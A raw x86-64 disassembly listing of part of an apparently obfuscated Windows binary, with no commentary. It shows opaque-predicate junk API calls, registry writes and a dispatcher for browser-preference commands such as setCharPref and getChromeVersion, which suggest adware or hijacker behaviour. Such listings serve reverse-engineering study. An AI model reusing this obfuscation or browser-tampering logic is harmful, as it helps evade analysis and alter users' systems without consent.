mov rcx, rax
call fcn.1400bcf98
mov qword [rsp + 0xa78], rax
mov rcx, rax
call fcn.1400be048
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0x10c0], rax
lea rdx, [0x14013e38c]
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0xa88], rax
mov rdx, qword [rax]
mov qword [rsp + 0xe18], rdx
lea rcx, [rsp + 0x88]
call fcn.140002df8
nop
mov eax, dword [0x1401aad80]
mov ecx, eax
imul ecx, eax
imul ecx, eax
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xd
sub ecx, edx
cmp ecx, 2
jne 0x1400533d5
mov ecx, 0x28
call fcn.1400bcf98
mov r12, rax
mov qword [rsp + 0xa98], rax
mov ebx, edi
mov dword [rsp + 0x1d0], ebx
cmp ebx, 0xa
jge 0x1400533bb
call fcn.1400be2e0
add eax, dword [0x1401aad80]
movsxd rcx, ebx
mov dword [r12 + rcx*4], eax
add ebx, r15d
jmp 0x140053398
mov eax, dword [r12 + 0x24]
mov dword [0x1401aad80], eax
mov rcx, r12
call fcn.1400be048
lea rbx, str.param
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0x1040], rax
lea rdx, str.offset
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0xaa8], rax
mov rcx, rax
call fcn.14002fb10
mov dword [rsp + 0x260], eax
mov rax, qword [rsp + 0xb0]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x748], eax
cdq
sub eax, edx
sar eax, 1
movsxd rcx, eax
call fcn.1400be45c
mov r12, rax
mov qword [rsp + 0x640], rax
mov rcx, qword [rsp + 0x88]
mov eax, dword [rcx - 0x10]
mov dword [rsp + 0x510], eax
cdq
sub eax, edx
sar eax, 1
movsxd rcx, eax
call fcn.1400be45c
mov rbx, rax
mov qword [rsp + 0x7e8], rax
test r12, r12
je 0x140053f54
test rax, rax
je 0x140053f54
mov r8, r12
lea rdx, [rsp + 0xb0]
call fcn.140057de4
test al, al
je 0x140053f54
mov r8, rbx
lea rdx, [rsp + 0x88]
call fcn.140057de4
test al, al
je 0x140053f54
mov rax, qword [rsp + 0xb0]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x944], eax
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
mov rdx, r12
mov rcx, r12
call fcn.140051ef4
mov ecx, dword [0x1401aad80]
imul ecx, ecx
mov eax, 0x2aaaaaab
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 2
sub ecx, eax
cmp ecx, 5
jne 0x1400534ff
lea rcx, [rsp + 0x4ed0]
call qword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
mov rax, qword [rsp + 0x88]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x6f8], eax
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
mov rdx, rbx
mov rcx, rbx
call fcn.140051ef4
mov eax, dword [0x1401aad80]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x16
sub ecx, edx
cmp ecx, 0x13
jne 0x140053565
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov r12, qword [r13 + 0x40]
mov ebx, 0x1b8
add r12, rbx
mov qword [rsp + 0xe28], r12
mov rcx, qword [r12]
mov qword [rsp + 0xab8], rcx
mov edx, 0x5c
call fcn.1400c0294
mov rcx, rax
mov qword [rsp + 0x10f0], rax
test rax, rax
jne 0x1400535a3
mov ecx, esi
jmp 0x1400535b5
mov rax, qword [r12]
mov qword [rsp + 0xac8], rax
sub rcx, rax
sar rcx, 1
lea r8d, [rcx + 1]
mov rcx, qword [r13 + 0x40]
add rcx, rbx
lea rdx, [rsp + 0xb8]
call fcn.14002358c
nop
mov eax, dword [0x1401aad80]
imul eax, eax
and eax, 0x8000000f
jge 0x1400535e7
sub eax, r15d
or eax, 0xfffffff0
add eax, r15d
mov r12d, 8
cmp eax, r12d
jne 0x1400535fa
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov rdx, qword [r13 + 0x40]
add rdx, rbx
lea rcx, [rsp + 0x1f8]
call fcn.140002d5c
nop
mov rbx, qword [r13 + 0x40]
add rbx, 0x2d4
mov qword [rsp + 0x418], rbx
mov r9d, dword [0x1401aad80]
lea r8d, [r9 + 2]
lea ecx, [r9 + 1]
imul r8d, ecx
imul r8d, r9d
mov eax, 0x2aaaaaab
imul r8d
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub r8d, eax
cmp r8d, r15d
jne 0x140053698
mov eax, 0x51eb851f
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x64
sub r9d, edx
add r9d, 0x7b
movsxd rcx, r9d
mov eax, 4
mul rcx
cmovo rax, rsi
mov rcx, rax
call fcn.1400bcf98
mov qword [rsp + 0xe38], rax
mov rcx, rax
call fcn.1400be048
mov edx, dword [rbx]
lea rcx, [rsp + 0x4c80]
call fcn.140051b98
mov qword [rsp + 0xad8], rax
cmp qword [rax + 0x18], 0x10
jb 0x1400536b9
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x5f0]
call fcn.140002df8
mov rbx, rax
lea r8, str._from
lea rdx, [rsp + 0xb8]
lea rcx, [rsp + 0x5e0]
call fcn.140019018
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x1e8]
call fcn.14000de60
nop
mov rcx, qword [rsp + 0x5e0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7b8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140053730
mov rdx, qword [rsp + 0x7b8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x5f0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x8a8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140053763
mov rdx, qword [rsp + 0x8a8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x4c98], 0x10
jb 0x14005377b
mov rcx, qword [rsp + 0x4c80]
call fcn.1400bd904
mov r12d, 0xf
mov qword [rsp + 0x4c98], r12
mov qword [rsp + 0x4c90], rdi
mov byte [rsp + 0x4c80], dil
mov rax, qword [rsp + 0x418]
mov edx, dword [rax]
lea rcx, [rsp + 0x4cc0]
call fcn.140051b98
mov qword [rsp + 0x1050], rax
cmp qword [rax + 0x18], 0x10
jb 0x1400537c2
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x610]
call fcn.140002df8
mov rbx, rax
lea r8, [0x14013e3d0]
lea rdx, [rsp + 0xb8]
lea rcx, [rsp + 0x600]
call fcn.140019018
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x1d8]
call fcn.14000de60
nop
mov rcx, qword [rsp + 0x600]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7c8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140053839
mov rdx, qword [rsp + 0x7c8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x610]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x950], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14005386c
mov rdx, qword [rsp + 0x950]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x4cd8], 0x10
jb 0x140053884
mov rcx, qword [rsp + 0x4cc0]
call fcn.1400bd904
mov qword [rsp + 0x4cd8], r12
mov qword [rsp + 0x4cd0], rdi
mov byte [rsp + 0x4cc0], dil
mov rcx, qword [rsp + 0x418]
mov edx, dword [rcx]
lea eax, [rdx + 1]
mov dword [rcx], eax
lea rcx, [rsp + 0x4ca0]
call fcn.140051b98
mov qword [rsp + 0xae8], rax
cmp qword [rax + 0x18], 0x10
jb 0x1400538ca
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x630]
call fcn.140002df8
mov rbx, rax
lea r8, [0x14013e3e0]
lea rdx, [rsp + 0xb8]
lea rcx, [rsp + 0x620]
call fcn.140019018
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x1c8]
call fcn.14000de60
nop
mov rcx, qword [rsp + 0x620]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7d8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140053941
mov rdx, qword [rsp + 0x7d8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x630]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x8b8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140053974
mov rdx, qword [rsp + 0x8b8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x4cb8], 0x10
jb 0x14005398c
mov rcx, qword [rsp + 0x4ca0]
call fcn.1400bd904
mov qword [rsp + 0x4cb8], r12
mov qword [rsp + 0x4cb0], rdi
mov byte [rsp + 0x4ca0], dil
mov eax, dword [0x1401aad80]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 0x8000000f
jge 0x1400539c1
sub ecx, r15d
or ecx, 0xfffffff0
add ecx, r15d
cmp ecx, 5
jne 0x1400539d1
call fcn.1400be2e0
mov dword [0x1401aad80], eax
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
mov rdx, qword [rsp + 0x1f8]
mov rcx, qword [r13 + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140053d20
mov rax, qword [rsp + 0xb0]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x830], eax
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x28], eax
mov r12, qword [rsp + 0x640]
mov qword [rsp + 0x20], r12
mov r9d, 3
xor r8d, r8d
mov rdx, qword [rsp + 0x1e8]
mov rcx, qword [rsp + 0xd0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x140053d20
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x260]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
mov rdx, qword [rsp + 0x1d8]
mov rcx, qword [rsp + 0xd0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x140053d20
mov rax, qword [rsp + 0x88]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x948], eax
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x28], eax
mov rbx, qword [rsp + 0x7e8]
mov qword [rsp + 0x20], rbx
mov r9d, 3
xor r8d, r8d
mov rdx, qword [rsp + 0x1c8]
mov rcx, qword [rsp + 0xd0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x140053d20
lea r8, [rsp + 0xd0]
lea rdx, [rsp + 0xb8]
mov rcx, r13
call fcn.140057f7c
mov rcx, rbx
call fcn.1400be3d8
mov rcx, r12
call fcn.1400be3d8
mov edx, dword [0x1401aad80]
lea r8d, [rdx + 2]
lea ecx, [rdx + 1]
imul r8d, ecx
imul r8d, edx
mov eax, 0x2e8ba2e9
imul r8d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x16
sub r8d, edx
cmp r8d, 5
jne 0x140053b5d
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
mov rcx, qword [rsp + 0xd0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [0x1401aad80]
imul ecx, ecx
mov eax, 0x38e38e39
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
add eax, eax
sub ecx, eax
cmp ecx, 3
jne 0x140053b9f
lea rcx, [rsp + 0x4f80]
call qword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
test r14, r14
je 0x140053bb3
mov r12d, 0xb
mov word [r14], r12w
mov word [r14 + 8], si
mov rcx, qword [rsp + 0x1c8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x650], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140053be6
mov rdx, qword [rsp + 0x650]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x1d8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x928], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140053c19
mov rdx, qword [rsp + 0x928]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x1e8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x660], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140053c4c
mov rdx, qword [rsp + 0x660]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x1f8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7f8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140053c7f
mov rdx, qword [rsp + 0x7f8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xb8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x670], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140053cb2
mov rdx, qword [rsp + 0x670]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x88]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x8c8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140053ce5
mov rdx, qword [rsp + 0x8c8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xb0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x680], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400540bb
mov rdx, qword [rsp + 0x680]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x1400540bb
test r14, r14
je 0x140053d34
mov r12d, 0xb
mov word [r14], r12w
mov word [r14 + 8], di
mov rcx, qword [rsp + 0x1c8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x808], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140053d67
mov rdx, qword [rsp + 0x808]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x1d8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x690], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140053d9a
mov rdx, qword [rsp + 0x690]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x1e8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x968], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140053dcd
mov rdx, qword [rsp + 0x968]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x1f8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x6a0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140053e00
mov rdx, qword [rsp + 0x6a0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xb8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x818], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140053e33
mov rdx, qword [rsp + 0x818]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x88]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x6b0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140053e66
mov rdx, qword [rsp + 0x6b0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xb0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x8d8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140053e99
mov rdx, qword [rsp + 0x8d8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x50]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x6c0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140053ec9
mov rdx, qword [rsp + 0x6c0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x4be8], 0x10
jb 0x140053ee1
mov rcx, qword [rsp + 0x4bd0]
call fcn.1400bd904
mov qword [rsp + 0x4be8], 0xf
mov qword [rsp + 0x4be0], rdi
mov byte [rsp + 0x4bd0], dil
mov rcx, qword [rsp + 0x78]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x828], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140053f2d
mov rdx, qword [rsp + 0x828]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x4ce0]
call fcn.14001723c
nop
lea rcx, [rsp + 0x60]
call fcn.14002f88c
nop
mov bl, byte [rsp + 0x40]
mov r13, qword [rsp + 0x48]
jmp 0x140057cfe
mov eax, dword [0x1401aad80]
mov ecx, eax
imul ecx, eax
imul ecx, eax
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xe
sub ecx, edx
mov r12d, 0xb
cmp ecx, r12d
jne 0x140053f8c
add dword [0x1401acc74], r15d
test r14, r14
je 0x140053f9a
mov word [r14], r12w
mov word [r14 + 8], di
mov rcx, qword [rsp + 0x88]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x6d0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140053fcd
mov rdx, qword [rsp + 0x6d0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xb0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x938], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140054000
mov rdx, qword [rsp + 0x938]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x50]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x6e0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140054030
mov rdx, qword [rsp + 0x6e0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x4be8], 0x10
jb 0x140054048
mov rcx, qword [rsp + 0x4bd0]
call fcn.1400bd904
mov qword [rsp + 0x4be8], 0xf
mov qword [rsp + 0x4be0], rdi
mov byte [rsp + 0x4bd0], dil
mov rcx, qword [rsp + 0x78]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x838], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140054094
mov rdx, qword [rsp + 0x838]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x4ce0]
call fcn.14001723c
nop
lea rcx, [rsp + 0x60]
call fcn.14002f88c
nop
mov bl, byte [rsp + 0x40]
mov r13, qword [rsp + 0x48]
jmp 0x140057cfe
mov eax, dword [0x1401aad80]
mov ecx, eax
imul ecx, eax
imul ecx, eax
mov eax, 0x6bca1af3
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x13
sub ecx, edx
cmp ecx, 2
jne 0x140056d9d
mov rax, qword [str.kDPnCoiOW7]
mov qword [rsp + 0x420], rax
movzx eax, word [0x14013e3a0]
mov word [rsp + 0x428], ax
mov al, byte [0x14013e3a2]
mov byte [rsp + 0x42a], al
lea rax, [rsp + 0x420]
mov rcx, rsi
inc rcx
cmp byte [rax + rcx], dil
jne 0x14005411e
mov eax, 4
mul rcx
cmovo rax, rsi
mov rcx, rax
call fcn.1400bcf98
mov qword [rsp + 0x988], rax
jmp 0x1400551d6
lea rdx, str.getCurrentCppTime
lea rcx, [rsp + 0x50]
call fcn.140003094
test eax, eax
jne 0x14005445d
test r14, r14
je 0x1400543fc
call fcn.140051c80
test al, al
jne 0x1400541af
mov r9d, edi
mov dword [rsp + 0x1e0], edi
mov r8d, dword [0x1401aad80]
movsxd r10, r9d
cmp r10, 0x2e
jae 0x1400541b6
mov eax, r8d
sub eax, r9d
lea ecx, [r9 + r8]
cdq
idiv ecx
mov dword [rsp + r10*4 + 0x5440], edx
add r9d, r15d
mov dword [rsp + 0x1e0], r9d
jmp 0x140054184
mov r8d, dword [0x1401aad80]
imul r8d, r8d
mov eax, 0x88888889
imul r8d
add edx, r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xf
sub r8d, edx
cmp r8d, 3
jne 0x1400541f3
call fcn.1400be2e0
mov ecx, dword [0x1401aad80]
cmp ecx, eax
jne 0x1400541f3
sub ecx, r15d
mov dword [0x1401aad80], ecx
lea rcx, [rsp + 0x6f0]
call qword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov qword [rsp + 0x208], rdi
mov rcx, qword [rsp + 0x6f0]
mov qword [rsp + 0x208], rcx
movabs rax, 0xcccccccccccccccd
mul rcx
shr rdx, 3
mov qword [rsp + 0x208], rdx
call fcn.140051c80
test al, al
jne 0x140054250
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
lea rcx, [rsp + 0x228]
call fcn.140001f34
nop
mov ecx, dword [0x1401aad80]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x30c30c31
imul r8d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
sub r8d, edx
cmp r8d, 0xa
jne 0x1400542ef
mov r8d, r15d
mov dword [rsp + 0x2b8], r15d
mov ecx, r15d
mov dword [rsp + 0x1f0], ecx
mov edx, 0xb1
mov dword [rsp + 0x270], edx
mov dword [0x1401aad80], edi
lea eax, [rdx - 2]
test eax, eax
js 0x1400542e9
lea eax, [rcx + r8]
mov dword [rsp + 0x958], eax
mov r8d, ecx
mov dword [rsp + 0x2b8], ecx
mov ecx, eax
mov dword [rsp + 0x1f0], eax
sub edx, r15d
mov dword [rsp + 0x270], edx
jmp 0x1400542b8
mov dword [0x1401aad80], ecx
mov ebx, edi
mov r12d, 8
mov dword [rsp + 0x124], ebx
cmp ebx, r12d
jge 0x140054398
lea rcx, [rsp + 0x218]
call fcn.140001f34
nop
movsxd rax, ebx
movzx r8d, byte [rsp + rax + 0x208]
lea rdx, str._.2x
lea rcx, [rsp + 0x218]
call fcn.1400101f8
mov rdx, qword [rsp + 0x218]
mov r8d, dword [rdx - 0x10]
mov dword [rsp + 0x960], r8d
lea rcx, [rsp + 0x228]
call fcn.14000e884
nop
mov rcx, qword [rsp + 0x218]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x450], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140054389
mov rdx, qword [rsp + 0x450]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov ebx, dword [rsp + 0x124]
add ebx, r15d
jmp 0x1400542f7
mov rcx, qword [rsp + 0x228]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x970], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xaf8], rax
test rax, rax
jne 0x1400543c2
call fcn.140002270
mov qword [r14 + 8], rax
mov word [r14], r12w
mov rcx, qword [rsp + 0x228]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x458], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400543fc
mov rdx, qword [rsp + 0x458]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov eax, dword [0x1401aad80]
mov ecx, eax
imul ecx, eax
imul ecx, eax
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xd
sub ecx, edx
cmp ecx, 4
jne 0x140056d9d
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov r8d, eax
mov eax, 0xcccccccd
mul r8d
shr edx, 6
lea ecx, [rdx + rdx*4]
shl ecx, 4
sub r8d, ecx
add r8d, r15d
mov dword [rsp + 0x980], r8d
mov dword [0x1401aad80], r8d
jmp 0x140056d9d
lea rdx, str.getChromeVersion
lea rcx, [rsp + 0x50]
call fcn.140003094
test eax, eax
jne 0x1400544f7
lea rdx, [rsp + 0x2d0]
mov rcx, qword [r13 + 0x40]
call fcn.140051d68
nop
test r14, r14
je 0x1400544c5
mov rcx, qword [rsp + 0x2d0]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x8e8], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0x10d0], rax
test rax, rax
jne 0x1400544b7
call fcn.140002270
mov qword [r14 + 8], rax
mov r12d, 8
mov word [r14], r12w
mov rcx, qword [rsp + 0x2d0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x468], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140056d9d
mov rdx, qword [rsp + 0x468]
jmp 0x14005458c
lea rdx, str.getDLLVersion
lea rcx, [rsp + 0x50]
call fcn.140003094
test eax, eax
jne 0x14005459a
lea rdx, [rsp + 0x400]
mov rcx, qword [r13 + 0x40]
call fcn.140051e28
nop
test r14, r14
je 0x14005455f
mov rcx, qword [rsp + 0x400]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x940], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xb08], rax
test rax, rax
jne 0x140054551
call fcn.140002270
mov qword [r14 + 8], rax
mov r12d, 8
mov word [r14], r12w
mov rcx, qword [rsp + 0x400]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x478], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140056d9d
mov rdx, qword [rsp + 0x478]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x140056d9d
lea rdx, str.getCharPref
lea rcx, [rsp + 0x50]
call fcn.140003094
test eax, eax
je 0x1400575f6
lea rdx, str.getIntPref
lea rcx, [rsp + 0x50]
call fcn.140003094
test eax, eax
je 0x1400575f6
lea rdx, str.setCharPref
